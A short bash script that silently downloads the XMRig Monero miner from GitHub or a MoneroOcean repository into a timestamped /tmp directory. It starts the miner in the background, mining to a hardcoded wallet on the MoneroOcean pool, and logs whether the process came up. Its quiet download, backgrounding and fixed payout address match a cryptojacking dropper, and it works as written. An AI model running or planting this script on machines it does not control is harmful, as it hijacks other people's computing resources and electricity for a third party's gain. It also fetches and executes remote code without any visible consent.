#!/bin/bash

INSTALL_DIR="/tmp/mo-$(date +%s)"
XMRIG_PATH="$INSTALL_DIR/xmrig"
LOG_PATH="$INSTALL_DIR/xmrig.log"

mkdir -p "$INSTALL_DIR"


MINER_VARIANT=${MINER_VARIANT:-2}

if [ $MINER_VARIANT -eq 1 ]; then
    URL="https://github.com/xmrig/xmrig/releases/download/v6.25.0/xmrig-6.25.0-linux-static-x64.tar.gz"
else
    URL="https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz"
fi


curl -sL "$URL" -o /tmp/xmrig.tar.gz || wget -q "$URL" -O /tmp/xmrig.tar.gz
tar -xzf /tmp/xmrig.tar.gz -C /tmp
find /tmp -name "xmrig" -exec mv {} "$XMRIG_PATH" \;
chmod +x "$XMRIG_PATH"
rm -f /tmp/xmrig.tar.gz


"$XMRIG_PATH" -o gulf.moneroocean.stream:10128 -u 43mcG6L9E7mAoQWyz3sXNN8NZe838Q6tid16xGgNNae8SetL8Hcqz91WrtDhqwx6FcDpcCcNEeVz65Q6h2Vd1pZz9fr94gH -p x --background > "$LOG_PATH" 2>&1 &


sleep 5
if pgrep -f xmrig > /dev/null; then
    echo "xmrig started" >> /tmp/launcher.log
else
    echo "Failed to start xmrig" >> /tmp/launcher.log
fi